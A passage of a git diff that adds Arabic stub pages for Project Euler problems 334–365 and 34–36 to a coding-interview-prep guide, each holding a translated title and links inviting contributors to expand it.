diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
new file mode 100644
index 0000000000..64be29c139
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Spilling the beans
+localeTitle: إراقة الفاصوليا
+---
+## المشكلة 334: إراقة الفاصوليا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
new file mode 100644
index 0000000000..80e9fb0574
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Gathering the beans
+localeTitle: جمع الفاصوليا
+---
+## المشكلة 335: جمع الفاصوليا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
new file mode 100644
index 0000000000..43974706ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximix Arrangements
+localeTitle: ترتيبات Maximix
+---
+## المشكلة 336: ترتيبات Maximix
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
new file mode 100644
index 0000000000..07184b6e78
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Stairstep Sequences
+localeTitle: Totient تسلسل Stairstep
+---
+## المشكلة 337: تسلسل Stairstep المتسلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
new file mode 100644
index 0000000000..afb7fcf40f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Rectangular Grid Paper
+localeTitle: قطع ورقة مستطيلة الشبكة
+---
+## المشكلة 338: قطع ورقة مستطيلة الشبكة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
new file mode 100644
index 0000000000..88c1c5156c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
@@ -0,0 +1,9 @@
+---
+title: Peredur fab Efrawg
+localeTitle: Peredur fab Efrawg
+---
+## المشكلة رقم 339: Peredur fab Efrawg
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
new file mode 100644
index 0000000000..74807fe83d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorials
+localeTitle: أرقام مقلوبة
+---
+## المشكلة رقم 34: الأرقام المرجعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
new file mode 100644
index 0000000000..77ddb57b02
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Crazy Function
+localeTitle: وظيفة مجنون
+---
+## مشكلة 340: وظيفة مجنون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
new file mode 100644
index 0000000000..0aca1b170d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Golomb's self-describing sequence
+localeTitle: تسلسل Golomb لوصف الذات
+---
+## المشكلة 341: تسلسل Golomb لوصف الذات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
new file mode 100644
index 0000000000..7da23b86a9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: The totient of a square is a cube
+localeTitle: إن حجم مربع عبارة عن مكعب
+---
+## المشكلة 342: يعد حجم مربع مكعب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
new file mode 100644
index 0000000000..2a73624ed1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractional Sequences
+localeTitle: تسلسل كسور
+---
+## المشكلة 343: متواليات كسرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
new file mode 100644
index 0000000000..2324249e83
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Silver dollar game
+localeTitle: لعبة الدولار الفضي
+---
+## المشكلة 344: لعبة الدولار الفضي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
new file mode 100644
index 0000000000..8e92eec5f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Matrix Sum
+localeTitle: مجموع مصفوفة
+---
+## المشكلة 345: مجموع مصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
new file mode 100644
index 0000000000..f0a86f36cc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
@@ -0,0 +1,9 @@
+---
+title: Strong Repunits
+localeTitle: التوحيد القوي
+---
+## المشكلة 346: Repunits قوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
new file mode 100644
index 0000000000..62f0f72030
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest integer divisible by two primes
+localeTitle: أكبر عدد صحيح قابل للقسمة بواسطة رئيسيتين
+---
+## المشكلة 347: أكبر عدد صحيح القسمة على اثنين من الأعداد الأولية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
new file mode 100644
index 0000000000..50206bb548
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of a square and a cube
+localeTitle: مجموع مربع ومكعب
+---
+## المشكلة 348: مجموع مربع ومكعب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
new file mode 100644
index 0000000000..4df1a8f080
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
@@ -0,0 +1,9 @@
+---
+title: Langton's ant
+localeTitle: نملة لانغتون
+---
+## المشكلة 349: نملة لانغتون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
new file mode 100644
index 0000000000..41ee4e83e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular primes
+localeTitle: أعداد دائرية
+---
+## المشكلة 35: التعميم الأولية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-35-circular-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
new file mode 100644
index 0000000000..ccd4ac9afb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md
@@ -0,0 +1,9 @@
+---
+title: Constraining the least greatest and the greatest least
+localeTitle: تقييد أقلها وأعظمها على الأقل
+---
+## المشكلة 350: تقييد أقلها وأعظمها الأقل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-350-constraining-the-least-greatest-and-the-greatest-least/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
new file mode 100644
index 0000000000..b52c0b9b4b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexagonal orchards
+localeTitle: بساتين سداسية
+---
+## المشكلة 351: بساتين سداسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-351-hexagonal-orchards/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
new file mode 100644
index 0000000000..f8c0d57f9c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md
@@ -0,0 +1,9 @@
+---
+title: Blood tests
+localeTitle: تحاليل الدم
+---
+## المشكلة 352: اختبارات الدم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-352-blood-tests/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
new file mode 100644
index 0000000000..549a1e1af4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md
@@ -0,0 +1,9 @@
+---
+title: Risky moon
+localeTitle: القمر محفوفة بالمخاطر
+---
+## المشكلة 353: القمر المحفوفة بالمخاطر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-353-risky-moon/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
new file mode 100644
index 0000000000..34014f2341
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md
@@ -0,0 +1,9 @@
+---
+title: Distances in a bee's honeycomb
+localeTitle: المسافات في قرص العسل
+---
+## المشكلة 354: المسافات في خلية النحل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-354-distances-in-a-bees-honeycomb/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
new file mode 100644
index 0000000000..91b7ad2d31
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximal coprime subset
+localeTitle: أقصى مجموعة فرعية الجريمة
+---
+## المشكلة 355: أقصى مجموعة فرعية الجريمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-355-maximal-coprime-subset/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
new file mode 100644
index 0000000000..f2f080efb3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest roots of cubic polynomials
+localeTitle: أكبر جذور من متعدد الحدود مكعب
+---
+## المشكلة 356: أكبر جذور متعددة الحدود التكعيبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-356-largest-roots-of-cubic-polynomials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
new file mode 100644
index 0000000000..81afc04097
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime generating integers
+localeTitle: رئيس توليد الأعداد الصحيحة
+---
+## المشكلة 357: Prime generating integers
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-357-prime-generating-integers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
new file mode 100644
index 0000000000..db5595a79b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclic numbers
+localeTitle: الأرقام الدورية
+---
+## المشكلة 358: الأرقام الدورية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-358-cyclic-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
new file mode 100644
index 0000000000..33c7018cdc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md
@@ -0,0 +1,9 @@
+---
+title: Hilbert's New Hotel
+localeTitle: فندق Hilbert الجديد
+---
+## المشكلة 359: فندق Hilbert الجديد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-359-hilberts-new-hotel/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
new file mode 100644
index 0000000000..86e0a84c84
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md
@@ -0,0 +1,9 @@
+---
+title: Double-base palindromes
+localeTitle: palindromes مزدوج القاعدة
+---
+## المشكلة 36: palindromes مزدوج القاعدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-36-double-base-palindromes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
new file mode 100644
index 0000000000..a66ce890a3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md
@@ -0,0 +1,9 @@
+---
+title: Scary Sphere
+localeTitle: مخيف المجال
+---
+## مشكلة 360: مخيف المجال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-360-scary-sphere/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
new file mode 100644
index 0000000000..916e57ad9a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsequence of Thue-Morse sequence
+localeTitle: اثر تسلسل Thue-Morse
+---
+## المشكلة 361: تتابع Thue-Morse
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-361-subsequence-of-thue-morse-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
new file mode 100644
index 0000000000..598214c6df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree factors
+localeTitle: عوامل مربع
+---
+## المشكلة 362: العوامل Squarewree
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-362-squarefree-factors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
new file mode 100644
index 0000000000..3bf430b599
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md
@@ -0,0 +1,9 @@
+---
+title: Bézier Curves
+localeTitle: بيزيير كيرفز
+---
+## المشكلة 363: بيزيير كيرفز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-363-bzier-curves/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
new file mode 100644
index 0000000000..e77b24cae6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable distance
+localeTitle: مسافة مريحة
+---
+## المشكلة 364: مسافة مريحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-364-comfortable-distance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
new file mode 100644
